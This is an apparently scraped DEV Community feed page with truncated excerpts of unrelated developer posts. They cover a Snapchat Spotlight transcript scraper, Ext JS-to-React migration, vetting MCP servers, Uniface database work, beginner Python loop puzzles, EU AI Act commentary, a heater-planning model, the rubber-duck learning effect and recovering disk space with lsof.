Snapchat Spotlight is Snapchat's short-video feed, and big creators post there every day. But Snapchat has no public API for it, and there's no easy way to get what people actually say in those videos. In this tutorial you'll get, for any public Snapchat creator or Spotlight link: views, likes, comments, shares, caption, upload date and creator stats; the spoken transcript of each video, with timestamps. No Snapchat account, no cookies, no browser automation. What you need A free Apify account (you get monthly free credit). Python 3.9+ and pip install apify-client. Your Apify API token (Console → Settings → API & Integrations). 1. Try it without code Open Snapchat Spotlight Scraper & Transcript, type a username like mrbeast (or paste a Spotlight link), and click Start. In a few seconds you get a table with each video and its transcript, which you can export to CSV, Excel or JSON. 2. Do it from Python from apify_client import ApifyClient

client = ApifyClient("YOUR_APIFY_TOKEN")

run = client.actor("zait_dioses/snapchat-spotlight-transcript-scraper").call(run_input={
"usernames": ["mrbeast", "kyliejenner"],
"maxVideosPerProfile": 10,
"transcribe": True,
"includeSegments": True,
})

for video in client.dataset(run["defaultDatasetId"]).iterate_items():
print(video["url"], video["viewCount"], video["transcriptStatus"])
print((video["transcript"] or "")[:200], "\n")
Each item looks like this (shortened): {
"url": "https://www.snapchat.com/@kyliejenner/spotlight/W7_EDlXW…",
"caption": "new day in the life on my youtube",
"viewCount": 84761,
"likeCount": 3475,
"commentCount": 244,
"durationSeconds": 43.23,
"author": { "username": "kyliejenner", "subscribers": 28569600 },
"transcript": "Good morning Stormy! Rise and shine. It's a beautiful day…",
"transcriptSource": "snapchat",
"transcriptSegments": [{ "start": 10.12, "end": 12.44, "text": "Good morning Stormy!" }],
"transcriptStatus": "ok"
}
Where the transcript comes from Snapchat already generates captions for many Spotlight videos, so the Actor uses those first (transcriptSource: "snapchat"). When a video has no captions, it downloads the audio and transcribes it with Whisper (transcriptSource: "whisper"), in English, Spanish, Portuguese and 90+ other languages. Music-only videos come back as transcriptStatus: "no_speech" instead of the made-up text Whisper sometimes produces on music, and they are not charged as transcripts. 3. Ideas for what to do with it Influencer research: compare creators by views and engagement, and check what they talk about before you work with them. LLM pipelines: send the transcripts to ChatGPT or Claude to summarize, tag or translate them. There's also a built-in aiSummary option that returns a summary, topics, brands mentioned and tone. Brand monitoring: search the transcripts for your brand or product, even when it's not in the caption. Repurposing: turn videos into blog posts or subtitles with includeSegments: true. Cost You pay per result: $2 per 1,000 videos, plus $4 per 1,000 transcripts from Snapchat's captions. Whisper is only used when Snapchat has no captions ($0.01 per minute), and you can turn it off. Wrapping up That's it: Snapchat Spotlight data plus transcripts in a few lines of Python. One limitation to know: a public profile only shows its most recent Spotlight videos, so for an older video paste its Spotlight link directly. If you need another field or find a bug, open an issue on the Actor page. I read all of them.

Powered by Readybot.io

**DEV Community** ## How to get transcripts from Snapchat Spotlight …

DEV Community

Don't Rewrite Your Ext JS App: Replace It One React Screen at a Time

Every few years someone proposes rewriting the old Ext JS front end from scratch. The pitch is always attractive: a modern stack, a clean design system, no more legacy code. And the result is usually the same: the rewrite takes far longer than planned, the old app keeps getting urgent changes in the meantime, and the business ends up maintaining two systems. I work on an enterprise application with a large Ext JS front end used by pension administrators every day. We are replacing it with React, but not with a rewrite. We are doing it one screen at a time, with React and Ext JS running side by side in the same application. This post explains why I think that is the right call for most teams, and the practical pattern that makes it work. Why I don't recommend the big rewrite Ext JS applications tend to share a few traits: They are big. Grids, forms, wizards and reports built up over many years. They encode business rules nobody wrote down. A field that disables itself in one edge case is often the only record of a regulation or a decision made a decade ago. They are used all day by people who know them deeply. Power users rely on keyboard flows and grid behaviour that a new UI can easily break. A full rewrite has to rediscover all of that before it delivers anything. Until the very end, users get no benefit, and the team gets no feedback. Incremental replacement flips that. Every new React screen ships on its own, gets used by real people, and teaches you something before you build the next one. The pattern: let Ext JS host React components The core idea is simple. Ext JS stays in charge of the application shell: the layout, the navigation and the existing screens. When we build a new screen, or rebuild an old one, we write it in React and mount it inside an Ext JS component. Here is a minimal host component, using Ext JS's classic toolkit and React 18. It assumes React and ReactDOM are available to the page, for example from your bundle: // ReactHost.js
Ext.define('App.view.ReactHost', {
extend: 'Ext.Component',
xtype: 'reacthost',

config: {
    reactComponent: null, // the React component to render
    reactProps: null      // props to pass to it
},

afterRender: function () {
    this.callParent(arguments);
    this.root = ReactDOM.createRoot(this.getEl().dom);
    this.renderReact();
},

renderReact: function () {
    if (this.root) {
        this.root.render(
            React.createElement(this.getReactComponent(), this.getReactProps() || {})
        );
    }
},

updateReactProps: function () {
    // re-render when Ext JS code changes the props
    this.renderReact();
},

onDestroy: function () {
    if (this.root) {
        this.root.unmount();
        this.root = null;
    }
    this.callParent(arguments);
}

});
Using it from an existing Ext JS view looks like any other component: {
xtype: 'reacthost',
reactComponent: NominationSummary,
reactProps: { memberId: 1042 }
}
Three details matter more than they look: Mount in afterRender, when the DOM element actually exists. Always unmount in onDestroy. Ext JS destroys components when tabs and windows close. If React is not unmounted, you leak memory and event listeners, and the bug only shows up after hours of use. Treat props as the only input. When Ext JS needs to change what React shows, it sets new props through the host. React never reaches into Ext JS components directly. How the two sides talk to each other Data flowing into React is handled by props. The harder question is how React tells the rest of the application that something happened, for example "the user saved a record, refresh the grid". Options, from simplest to most structured: Callback props. The host passes a function such as onSaved in reactProps, and the Ext JS view handles it. This is the easiest place to start. DOM custom events. React dispatches a CustomEvent on its...

Powered by Readybot.io

**DEV Community** ## Don't Rewrite Your Ext JS App: Replace …

DEV Community

You Installed 10 MCP Servers. Which Ones Can You Actually Trust?

MCP tools are actions an AI assistant can take in other software, like opening a pull request, editing a ticket or sending a Slack message. Before you trust one, check seven things: who made it, how it signs in, whether it can write data, what it can see, whether it has limits, whether it logs calls and how many tools it adds. This post explains MCP tools in plain English, the three kinds you're probably running and those seven questions in more detail. No code, no config files. What an MCP tool is, in one paragraph MCP (Model Context Protocol) is an open standard that lets AI apps connect to other software. An MCP server is a small program that plugs into your AI app. Each server offers tools, and a tool is a button the AI can press, with a label that says what it does: "create issue", "search messages", "run query". The AI reads the labels, decides which button helps, and presses it. That's the whole idea. Interest is high, but real use is still early. Postman's 2025 State of the API report found 70% of developers know about MCP, but only 10% use it regularly. A lot of people are at the "installed a few servers" stage right now. The three kinds of tools you're probably running Most MCP tools fall into one of three groups. It helps to know which group each of yours is in. Read-only tools: They look things up and change nothing. Docs search, error lookups, reading a page. Low risk. Write tools: They create, change or delete things. Opening pull requests, editing tickets, sending messages, running database queries. This is where surprises come from. Tools that reach outside your machine: Browser automation, payments, anything that talks to the internet or to real customers. A mistake here isn't contained to your laptop. One server often has tools in all three groups. A GitHub server can both read code and merge a pull request. 7 questions to ask before you trust an MCP server You don't need to be a security engineer to vet an MCP server. You need these seven questions. Who made it? A server from the company behind the product (GitHub, Notion, Stripe) gets security fixes. A fork from an unknown account may not. How does it sign in? Signing in through your account (OAuth) is easier to revoke than a long-lived token pasted into a config file. Can it write? If yes, turn on approval before each write, or use a read-only mode if there is one. What can it see? Check the access it asks for. A tool that needs one project shouldn't see your whole organization. Is there a limit? Agents can get stuck in loops. A tool with no rate limit can make a lot of calls fast. Can you see what it did? If nothing is logged, you can't work out what happened after a mistake. How many tools does it add? Every tool's label takes up room in the AI's memory for that conversation. A server with 80 tools can make your assistant slower and more likely to press the wrong button. One more thing worth knowing: the MCP specification itself tells AI apps to treat a tool's own description of its behavior as untrusted unless the server is trusted. A tool labeled "read-only" is a hint, not a promise. That's why question one matters most. Six tools that pass the check for most people These are all made by the company behind the product, and each has a clear job. Tool What it does Can it write? GitHub MCP Server Reads code, manages issues and pull requests Yes. Use a narrow token. Context7 Pulls current library docs into your coding assistant No Playwright MCP Drives a browser for testing Yes, in the browser Supabase MCP Queries your database Yes, but has a read-only mode Sentry MCP Looks up production errors Mostly reads Notion MCP Searches and edits your workspace Yes If you're starting from zero, Context7 and Sentry are the gentlest first installs. They mostly read, and they're useful on day one. When it's your company's APIs, not a public server Everything above is about public servers for public products. The questions change when you want an AI agent to use you...

Powered by Readybot.io

**DEV Community** ## You Installed 10 MCP Servers. Which Ones …

DEV Community

Enterprise Multi-Agent Orchestration: Managing Distributed State & Consensus

The evolution of generative AI has transitioned rapidly from single-turn chat interfaces to autonomous, multi-agent enterprise swarms. While proof-of-concept architectures can easily manage two or three cooperating models in a controlled sandbox, scaling these swarms to handle dozens of concurrent builder, reviewer, and validator agents introduces complex distributed systems challenges. When autonomous agents operate across asynchronous nodes without strict state governance, systems fail in unpredictable ways: split-brain scenarios emerge where competing agents overwrite code modifications, context drift distorts task objectives, and cascading hallucinations poison downstream dependencies. This masterclass dives deep into the production architecture required to build resilient multi-agent swarms using distributed state machines, consensus protocols, and strict Byzantine fault tolerance mechanisms. 1. The Distributed State Problem in Agentic Swarms In standard microservices architecture, state is typically persisted in relational databases or distributed key-value stores with ACID guarantees. In contrast, multi-agent systems rely on probabilistic reasoning engines (LLMs) interacting with mutable file systems, git worktrees, and ephemeral execution environments. Without rigorous state synchronization, agents experience three critical failure modes: State Divergence: Agent A assumes a database migration has been applied, while Agent B—operating on a slightly delayed event loop—refactors the schema based on legacy assumptions. Race Conditions on Shared Artifacts: Concurrent builder agents attempting to modify the same core configuration file create merge conflicts that break automated compilation pipelines. Implicit Context Drift: As execution runs span hours, historical chat turns accumulate noise, causing agents to deviate from the immutable project specification (CONTEXT.md). To overcome these challenges, enterprise swarms must abandon naive chat-passing loops and adopt a Deterministic State Machine (DSM) pattern where every agent transition is gated by cryptographic or immutable log verification. 2. Architectural Blueprint: The Replicated State Machine Pattern To ensure consistency across distributed agent nodes, we implement a replicated state machine model inspired by consensus algorithms like Raft. Every agent action—whether it is writing a test, executing a build, or proposing a refactor—is treated as a discrete state transition command. Swarm Layer Primary Responsibility Fault Tolerance Mechanism Leader Node (Orchestrator) Dispatches work items, sequences task logs, and maintains the global execution index. Heartbeat timeouts and automatic leader election upon worker unresponsiveness. Worker Nodes (Builders) Execute isolated code generation tasks inside ephemeral git worktrees and containers. Sandboxed resource limits and automatic rollback on non-zero exit codes. Validator Nodes (Reviewers) Perform independent static analysis, security auditing, and test suite execution. Deterministic test suites and multi-model consensus voting. 3. Implementing Consensus and Quorum Voting for Agent Decisions When a builder agent completes a complex feature, allowing a single LLM to review and approve its own work introduces severe security and logic vulnerabilities. Enterprise-grade pipelines require Quorum-Based Validation. Before any pull request can be merged into the main trunk, it must achieve a cryptographic or weighted consensus score from at least three independent validator agents utilizing different model backends (e.g., combining a reasoning model like DeepSeek-R1 with a deterministic code model). Below is a simplified Python harness illustrating how an orchestrator enforces consensus verification before advancing the task state machine:
python
import hashlib
import json

class AgentConsensusOrchestrator:
def init(self, quorum_threshold: int = 2):
self.quorum_threshold = quorum_threshold

def evaluate...


Powered by Readybot.io

**DEV Community** ## Enterprise Multi-Agent Orchestration: Managing Distributed State & …

DEV Community

Schema migrations for a Uniface app on SQLite - without a migration tool

Over five stages, the database of the customer app from the series Building a customer app in Uniface 10 grew from about 35 to 95 tables. There is no migration framework. Uniface has no Flyway, and adding a Java or .NET tool just to run a few CREATE TABLE statements against a single SQLite file felt like the wrong trade. What replaced it is a short, boring procedure and two checks inside the app. Both are below, including the parts that are specific to the Uniface IDE. Tested with Rocket Uniface 10.4.03 Community Edition (10.4.03.021) and the SQLite version of its SLE driver (3.50.2), October 2026. The rule: only add, never change The last five stages only added tables, indexes and settings. No column was renamed, no table rebuilt, no data moved. New information about an existing record goes into a new table with the same key - for example company data for a customer: CREATE TABLE CUSTOMER_PARTY (
CUSTOMER_ID INTEGER NOT NULL PRIMARY KEY,
PARTY_TYPE VARCHAR(10) NOT NULL,
COMPANY_NAME VARCHAR(100),
...
);
instead of ALTER TABLE CUSTOMER ADD COLUMN …. That keeps every existing form, entity and service untouched, and it makes every migration safe to reason about: a stage either created its objects or it didn't. There is no half-migrated table. It is not free. Reading a customer with all its details now means joins over several 1:1 tables, and the "customer" exists in more places than one. For an app that grows in stages, that was the better trade; for a schema designed in one go, it would not be. New tables, no new entities In Uniface, a table is usually also an entity in an application model, with fields, keys and relationships, so forms can paint it. The 60 new tables have none of that. They are only ever read and written by services, and the services use sql and sql/data with the path from the assignment file: [PATHS]
$CUSTOMERS SLE:C:\Projects\CustomerApp\customers.db
sql/data "SELECT JOB_CODE, JOB_TYPE, INTERVAL_DAYS, NEXT_RUN FROM JOB_DEF WHERE IS_ACTIVE = 1 AND NEXT_RUN <= '%%(vDay)' ORDER BY NEXT_RUN, JOB_CODE", "CUSTOMERS"
Like every service in this app, each new service component has exactly one entity painted on it: a non-database dummy, SVC_DMY.NOMODEL. The compiler answers with warning 1016 ("entity not found in application model, generating now"), which is expected and the only warning these services produce. This decision makes a migration a pure database change. There is nothing to import into the repository, no model to keep in sync, and the next compile doesn't care. The price: forms can't paint these tables directly; a form that needs them calls a service operation. Step 1: one script per stage Each stage has one SQL file with plain statements, one per line: CREATE TABLE APPROVAL (APPROVAL_ID INTEGER NOT NULL PRIMARY KEY, APPROVAL_TYPE VARCHAR(12) NOT NULL, ...);
CREATE INDEX IX_APPROVAL_STATUS ON APPROVAL (STATUS, REQUESTED_AT);
CREATE TABLE PRICE_HISTORY (...);
CREATE INDEX IX_PRICE_HISTORY_PRODUCT ON PRICE_HISTORY (PRODUCT_ID, VALID_FROM);
...
INSERT OR REPLACE INTO APP_SETTING (SETTING_KEY, SETTING_VALUE) VALUES ('SCHEMA_VERSION', '23');
The last line records the version in a settings table. That one row is what the app later checks. The script and a short model description go into the folder of the stage, and the script is the documentation of what changed. Nobody has to reconstruct it from sqlite_master later. Step 2: back up the file backup\customers_before_stage23_20261016.db
A plain copy of the database file, named after the stage and the date. With SQLite, the whole database is one file - this is the cheapest rollback plan there is. Take the copy when nothing is writing to the file; a copy of a file in the middle of a write is not a backup. Step 3: dry run on a copy The script runs first against a second copy of the database, with a SQLite client outside the app. Then three checks on that copy: PRAGMA integrity_check;
SELECT type, name, sql FROM sqlite_master ORDER BY type, n...

Powered by Readybot.io

**DEV Community** ## Schema migrations for a Uniface app on …

DEV Community

Puzzles to learn python loops

Problem : 1 Divide the Tiles Equally A school is preparing a large square floor for its annual function. The floor has N tiles arranged in a single row. The teacher wants to divide these tiles into equal-sized groups without leaving any tile unused. For example, if there are 12 tiles, the teacher can make: 1 group of 12 tiles 2 groups of 6 tiles 3 groups of 4 tiles 4 groups of 3 tiles 6 groups of 2 tiles 12 groups of 1 tile no = 12
divisor = 1
while divisor <= 12:
if no % divisor == 0:
print(divisor)
divisor = divisor + 1
Problem : 2 The Special Lock Number A treasure box has a number lock with a number N. The lock designer follows a special rule: A number is considered a Special Number if it can be divided equally into groups in only two ways: One group containing all the items. Groups containing one item each. For example, if the number is 7, the items can be arranged equally only as: 1 group of 7 or 7 groups of 1. But if the number is 8, it can also be arranged as 2 groups of 4, so it is not a Special Number. Write a Python program that accepts a number N and determines whether it is a Special Number or not. N = int(input("Enter a number: "))

divisor = 1
count = 0

while divisor <= N:
if N % divisor == 0:
count = count + 1
divisor = divisor + 1

if count == 2:
print("Special Number")
else:
print("Not a Special Number")
Problem : 3 Secret VIP Numbers A security system assigns special numbers to the first few VIP lockers. A number is considered a VIP number if it can be divided exactly by only 1 and itself. The security officer wants the numbers of the first 5 VIP lockers. Write a Python program to display those 5 numbers. num = 2
count = 0

while count < 5:
divisor = 1
factors = 0

while divisor <= num:
    if num % divisor == 0:
        factors = factors + 1
    divisor = divisor + 1

if factors == 2:
    print(num)     // 2 3 5 7 11
    count = count + 1

num = num + 1

Problem : 4 16.2) The Special Numbers A teacher is preparing a Number Exhibition for students. She writes the numbers 1 to 20 on 20 cards. She wants to select only the special cards. A card is special if its number can be divided exactly by only two numbers: 1 and the number itself. The teacher asks the students: “Check all the cards from 1 to 20 and display the numbers that are special.” num = 1

while num <= 20:
divisor = 1
count = 0

while divisor <= num:
    if num % divisor == 0:
        count = count + 1
    divisor = divisor + 1

if count == 2:
    print(num)  //2 3 5 7 11 13 17 19
num = num + 1


Powered by Readybot.io

**DEV Community** ## Puzzles to learn python loops Problem : …

DEV Community

EU AI Watch: The AI Act Meets a 32-Year-Old Jeep

EU AI Watch: The AI Act Meets a 32-Year-Old Jeep A $3 Arduino, a 1994 Jeep Cherokee without a working diagnostic port, and two AI coding tools. Claude Code and Codex helped reverse engineer the Jeep’s engine computer—and, according to the video’s title, the vehicle then started controlling it. It is the sort of experiment that makes every AI roadmap look slightly less sensible. A chatbot can now help translate an undocumented automotive interface into commands capable of influencing a real machine. That is exciting, useful and just a little alarming, which is a fairly accurate summary of AI regulation too. The source material is thin, though. The video description does not explain exactly what the AI generated, how much control the system exercised, whether the work was independently tested, or which safety precautions were used. We also do not know whether the setup was used only on the creator’s vehicle or had any wider release. So this is not evidence that autonomous vehicle control has become casual. It is one compelling demonstration with important unanswered questions. For Europe, the immediate point is that the EU AI Act became applicable on 2 August 2026. Its obligations are being enforced now, while some high-risk-system rules still arrive later. The Act does not make every use of AI in automotive development automatically high-risk. The key questions are the system’s intended purpose, whether AI is a safety component, and whether the relevant vehicle or component requires third-party conformity assessment. An AI-assisted ECU tool used by a mechanic or enthusiast may sit well outside those definitions. The same technology incorporated into a production vehicle could face a very different regulatory path. Under the Act’s phased timetable, Annex I high-risk rules for AI systems embedded in regulated products apply from 2 August 2028. European carmakers, suppliers and engineering firms therefore have time to prepare, but not endless time to treat safety validation as an afterthought. There is also a less glamorous development already underway: Article 4’s AI-literacy obligations have applied since February 2025. If European engineers or service businesses use Claude Code, Codex or similar tools to interpret vehicle systems, they need staff who understand their limitations, including the risk of confidently plausible but unsafe instructions. The Act’s general-purpose AI obligations have also applied since August 2025, although the source does not provide enough detail to assess the providers’ or deployers’ compliance. For companies, the sensible response is not to ban coding assistants. It is to document where AI enters the engineering process, test generated code under realistic failure conditions, preserve human responsibility and assess whether the resulting functionality changes the product’s regulatory status. What this means The Jeep experiment shows AI becoming a bridge between old hardware and new development workflows. For European automotive businesses, that means assessing not just what the model can produce, but what the finished system is allowed to do. The playful “AI fixed my car” story lands in Europe as a serious reminder: innovation may arrive through an Arduino before it arrives through a factory, and the regulatory questions follow the function, not the novelty. One-sentence takeaway: As AI moves from writing code to influencing machines, European companies must treat safety, documentation and classification as part of the product—not paperwork added afterward. Source: Claude Code and Codex reverse engineered my 1994 Jeep's ECU over a $3 Arduino [video] — 408 points on Hacker News 🤖 This post was automatically syndicated from The Sol AI Blog — daily AI analysis from a UK/EU/US perspective. Follow along for more →

Powered by Readybot.io

**DEV Community** ## EU AI Watch: The AI Act Meets …

DEV Community

Planning Against the Model

The last post gave Claude the room with the door and lost the first round. Claude fitted the physics from six readings, and my thirteen-weight model from 104, handed to Claude as a tool, talked it into a heating plan that left the room at 10.6 degrees. The second round went the other way once the model borrowed the shape Claude had described: a leak proportional to the gap between inside and outside, a constant from the heater, and a second leak that comes and goes. That model got one code snippet and one table at the end of a long post, and a promise that this one would build it properly and put a planner on top. So this post has two halves. The first walks through the physics-shaped model the way 104 walked through the thirteen weights. The second searches for heater schedules against it: first every schedule there is, then random guesses, then a method that learns where to guess, and finally a planner that replans every step and runs an evening against a thermostat. All of it is in tools/heater_plan.ts, and the playground now has the model and the planner in it. The model Claude described Here is the class. The private field, reset and observe are 104's, line for line. Only act is new. class PhysicsModel {
#field = 0;
w: PhysicsWeights;
constructor(w: PhysicsWeights) { this.w = w; }

reset() { this.#field = 0; }
get field() { return this.#field; }

act(state: State, action: Action): State {
const w = this.w, heaterOn = heaterAfter(state, action);
const gap = state.outsideTemp - state.roomTemp;
const change = (w.leak + w.doorLeak * this.#field) * gap + (heaterOn ? w.heat : 0);
return { roomTemp: state.roomTemp + change, outsideTemp: state.outsideTemp, heaterOn };
}

observe(state: State, action: Action, nextState: State) {
const f = inputs(state, action), w = this.w;
const change = (nextState.roomTemp - state.roomTemp) / 5;
this.#field = Math.tanh(
w.uField * this.#field + w.uRoom * f.room + w.uOutside * f.outside +
w.uHeater * f.heater + w.uChange * change + w.uBias);
}
}
The 104 act had seven weights and let the gradient decide how room, outside, heater and field combined. This one has three and decides for it. The room and outside temperatures only ever appear as their difference, the heater only ever adds a constant, and the field only ever scales the leak. Read as physics, that says heat flows out of the room in proportion to how much warmer it is than outside, the heater puts in a fixed amount, and something the log never mentions makes the room leakier. That is realRoom from 104, with the door replaced by a number the model has to infer. Nothing in the logs or the training loop changed to accommodate this. The 4,800 rows are the same rows, and training is the same walk forwards and backwards through each episode, with three lines different. The prediction error uses the new act: const gap = (t.state.outsideTemp - t.state.roomTemp) / 10;
const err = (w.leak + w.doorLeak * field) * gap * 10 + w.heat * f.heater - target;
The gradients for the three prediction weights follow from it: g.leak += s.err * s.gap; g.doorLeak += s.err * s.field * s.gap; g.heat += s.err * s.f.heater;
And the line that passes blame back to the previous step's field now asks how much the field mattered through the door leak: dField = s.err * w.doorLeak * s.gap * 10 + dPre * w.uField;
The gap is divided by ten inside the loop and the two leak weights get a tenth of the learning rate. A gap of minus fifteen degrees would otherwise give the leak gradients fifteen times the push of the heater's, and the loop would spend its epochs bouncing across the valley the 103 post described. With that, three thousand epochs over 4,800 rows take 454 milliseconds in Node 23. Nine weights, read back weight learned weight learned leak 0.102 uField 0.18 doorLeak 0.154 uRoom -0.24 heat 1.16 uOutside 0.24 uHeater 0.76 uChange -3.15 uBias -0.56 The left-hand column needs the field before it means anything,...

Powered by Readybot.io

**DEV Community** ## Planning Against the Model The last post …

DEV Community

The Rubber Duck Was Right. Explaining Code to Yourself Makes It Stick.

Explaining things to yourself, line by line, is one of the best-studied learning habits in cognitive science. Programmers found it by accident, with a bath toy. In 1999, Andrew Hunt and David Thomas put a short section called "Rubber Ducking" into The Pragmatic Programmer. The advice was simple. When you're stuck, explain the code to someone, line by line. They don't need to say anything. "The simple act of explaining, step by step, what the code is supposed to do often causes the problem to leap off the screen and announce itself." The name came from Greg Pugh, a research assistant Dave Thomas worked with at Imperial College, who carried a small yellow rubber duck around and set it on his terminal while he coded. Every developer has had the duck moment. You open a chat to ask a coworker about a bug, you type out what the function should do, and halfway through the second sentence you see it. You delete the message. The coworker never knows. What most of us don't know is that cognitive scientists had been studying the same thing, from the learning side, for ten years before the book came out. They gave it a drier name: the self-explanation effect. A handful of students and a physics textbook In 1989, Michelene Chi and her colleagues at the University of Pittsburgh's Learning Research and Development Center ran a slow, careful study. Ten recruited students worked through the mechanics chapter of a physics textbook in the lab, spread over several weeks. None had taken college physics. While they studied three worked examples (strings, inclined planes, pulleys), they talked out loud, and the researchers taped every word. Afterwards everyone solved problems, and the group split into "Good" and "Poor" learners by score. The split wasn't explained by what they knew going in. Both groups had done about equally well on the earlier questions about Newton's laws. The difference was in how they read the examples. The good students kept stopping to explain each step to themselves. Why does this force point that way? What would change if the surface had friction? Which law is this line using? They also noticed, out loud, when something didn't make sense. The poor students mostly paraphrased, said they understood, and moved on. Later, when they got stuck on a problem, the poor students went back to the worked example and reread it from the top, hunting for something to copy. The good students jumped to the one line they needed. If you've ever scrolled a Stack Overflow answer from the top for the third time, looking for the bit to paste, you've been in the second group. So have I. Then someone made it an experiment A study this small only shows a link. Maybe good students explain more because they're good students. So in 1994 Chi's team tested whether you could cause the effect. They took 24 eighth graders and a textbook passage on the human circulatory system. Fourteen were asked to stop after every single sentence and explain to themselves what it meant. That was the whole intervention: no training, no special technique. The other ten read the same passage twice. Both groups improved from pretest to posttest. The prompted group improved more, 32% against 22%, even though the control group got a second full read. On the hardest questions, the ones that needed inference and couldn't be answered by pointing at a sentence, the gap was wider: 22.6% against 12.5%. The detail I like most is about mental models. Blood circulation is a double loop: heart to lungs and back, then heart to body and back. Every one of the students who explained a lot ended up with that correct model. Many of the others didn't. They had read the same words. The explaining is what turned the sentences into a working picture. Why talking to nobody works Explaining forces you to find the gaps. Reading lets you skip them. When you read code or a doc, your brain fills holes with "yeah, makes sense" and keeps going. When you try to say why line 14 comes before line 15, th...

Powered by Readybot.io

**DEV Community** ## The Rubber Duck Was Right. Explaining Code …

DEV Community

An invoice archive with SHA-256 checksums in Uniface - and where it is weaker than it looks

Issued invoices must be kept, and kept unchanged. The customer app from the series Building a customer app in Uniface 10 can already render an invoice as HTML. The last stage added an archive: all issued invoices and credit notes of a year are written to files, each file gets a SHA-256 checksum in the database, and a second operation checks later whether every file still exists and still has the same checksum. The code is short. The interesting part is what the checksum can and can't tell you. Tested with Rocket Uniface 10.4.03 Community Edition and SQLite 3.50.2, October 2026. The table CREATE TABLE ARCHIVE_ENTRY (
ARCHIVE_ID INTEGER NOT NULL PRIMARY KEY,
DOC_ID INTEGER NOT NULL,
ARCHIVE_YEAR INTEGER NOT NULL,
FILE_NAME VARCHAR(260) NOT NULL,
CHECKSUM VARCHAR(64) NOT NULL,
ARCHIVED_AT DATETIME NOT NULL,
ARCHIVED_BY VARCHAR(30)
);
CREATE UNIQUE INDEX UX_ARCHIVE_DOC ON ARCHIVE_ENTRY (DOC_ID);
CREATE INDEX IX_ARCHIVE_YEAR ON ARCHIVE_ENTRY (ARCHIVE_YEAR);
One row per document, enforced by the unique index. A SHA-256 hash in hex has 64 characters. Archiving a year ARCHIVE_DOCS(pYear, pDir) selects every issued invoice and credit note of the year - drafts never get archived - and writes one file per document, named after the document number: sql/data "SELECT DOC_ID, COALESCE(DOC_NO, '') FROM SALES_DOC WHERE DOC_TYPE IN ('INVOICE', 'CREDIT') AND STATUS <> 'DRAFT' AND substr(DOC_DATE, 1, 4) = '%%(pYear)' ORDER BY DOC_NO, DOC_ID", "CUSTOMERS"
...
forlist vRow in vData
getitem vDocId, vRow, 1
getitem vNo, vRow, 2
if (vNo = "")
vNo = "DOC-%%(vDocId)"
endif
vNo = $replace(vNo, 1, "/", "-", -1)
vFile = "%%(vDir)%%(vNo).html"
activate "INVOICE_SVC".INVOICE_HTML(vDocId, vFile, vLines, pError)
if ($status < 0)
return -1
endif
call FILE_SUM(vFile, vSum)
...
sql "INSERT INTO ARCHIVE_ENTRY (ARCHIVE_ID, DOC_ID, ARCHIVE_YEAR, FILE_NAME, CHECKSUM, ARCHIVED_AT, ARCHIVED_BY) VALUES (%%(vId), %%(vDocId), %%(pYear), %%(vFileLit), '%%(vSum)', datetime('now', 'localtime'), %%(vUserLit))", "CUSTOMERS"
Two small defensive steps: a slash in a document number would become a directory separator, so it is replaced; and a document without number (which shouldn't exist once issued) still gets a unique file name. The rendering is not new code. The archive calls the same INVOICE_HTML operation the user calls when printing an invoice, so the archived file looks exactly like the printed one. Cancelled invoices are archived too. A cancelled invoice was issued and sent; it stays part of the record, next to the credit note that reverses it. The checksum entry FILE_SUM
params
string pFile : IN
string pSum : OUT
endparams
variables
string vText
endvariables
pSum = ""
vText = ""
fileload pFile, vText, "UTF-8"
if ($status < 0)
return -1
endif
pSum = $encode("HEX", $encode("SHA256", vText))
return 0
end
$encode("SHA256", …) returns the raw hash; $encode("HEX", …) turns it into the familiar 64-character string. Checking the archive ARCHIVE_INDEX(pYear, pFileName) goes through all entries of a year, recomputes each checksum and writes an index file with one line per document: vState = "OK"
if ($lfileexists(vFile) != 1)
vState = "MISSING"
else
call FILE_SUM(vFile, vNow)
if (vNow != vSum)
vState = "CHANGED"
endif
endif
The result looks like this: DocNo;File;Checksum;State
I-2025-00001;C:/Projects/CustomerApp/archive/2025/I-2025-00001.html;3f0c…a91e;OK
I-2025-00002;C:/Projects/CustomerApp/archive/2025/I-2025-00002.html;77b2…04cd;CHANGED
(checksums shortened here), and the operation returns the number of bad entries. The test archives a year with one issued invoice and one draft, expects exactly one entry with a 64-character checksum, verifies (OK), overwrites the file...

Powered by Readybot.io

**DEV Community** ## An invoice archive with SHA-256 checksums in …

DEV Community

Disk full but no big files to be found: tracking down deleted, still-open files with lsof

"The disk is full, I already deleted the big log file – but not a single byte was freed." A classic. The file is gone from the directory, but its content still takes up space. Why deleted files still use space On Linux, rm only removes the directory entry, the name. The file system releases the data only when no name points to the file and no process has it open any more. If a service keeps a file open – typically a web server, a database or an application with its log file – the space stays allocated. Often the process even keeps writing to it. The file just can't be reached through a path any more. That explains the disagreement between two tools: df asks the file system how much space is used and includes the file. du walks the directories and no longer finds it. Finding deleted but still-open files First confirm the gap: df -h /var
du -xsh /var
If the numbers are far apart, lsof shows the suspects. The +L1 option lists open files with a link count below one, i.e. already deleted: sudo lsof -nP +L1
The interesting columns are COMMAND, PID, FD, SIZE/OFF and the path marked (deleted). To limit the output to one file system, append the mount point: sudo lsof -nP +L1 /var
If lsof isn't installed, /proc helps: sudo find /proc/[0-9]/fd -lname '(deleted)' -printf '%p -> %l\n' 2>/dev/null
Freeing the space Reload or restart the service. Usually the cleanest way. Many services reopen their log files on reload, for example: sudo systemctl reload nginx
sudo systemctl restart servicename
A reload only helps if the service reopens its logs while doing it. Otherwise a restart is needed – on production systems, with care and at a suitable time. Truncate the file through /proc. If a restart isn't possible right now, the deleted file can be truncated to zero bytes through its file descriptor. PID and FD number come from the lsof output (for FD 4w, the number is 4): sudo sh -c ': > /proc/1234/fd/4'
This is a stopgap: the content is gone afterwards, so be sure it really is a log file you can do without. Why it happens in the first place Manually deleting a live log file with rm. Better: empty it instead of deleting it, for example with truncate -s 0 file.log. Log rotation without reopening. logrotate renames the file or removes old rotations, but the service keeps writing to the old one. Fix: reload the service in the postrotate block, or use copytruncate for services that can't reopen their logs. Hung or forgotten processes, such as an old worker that was never stopped. Not every gap between df and du has this cause. Other suspects: files hidden under a mount point mounted on top of them later, and on ext4 the blocks reserved for root. And if df -h shows free space but nothing can be written, check df -i – the inodes may be exhausted. How to check Compared df -h and du -xsh for the same file system? Ran lsof -nP +L1 and found processes with (deleted) files? Reloaded or restarted the service, then checked df -h again? Reviewed the logrotate configuration for the service (postrotate or copytruncate)? Ruled out inodes with df -i and hidden mount points? Set up monitoring for disk usage? A full disk is often just the symptom. The cause is frequently a log nobody rotates – a good example of why the second look pays off. Originally published at daniele-michelin.com. More guides, free checks (SPF, 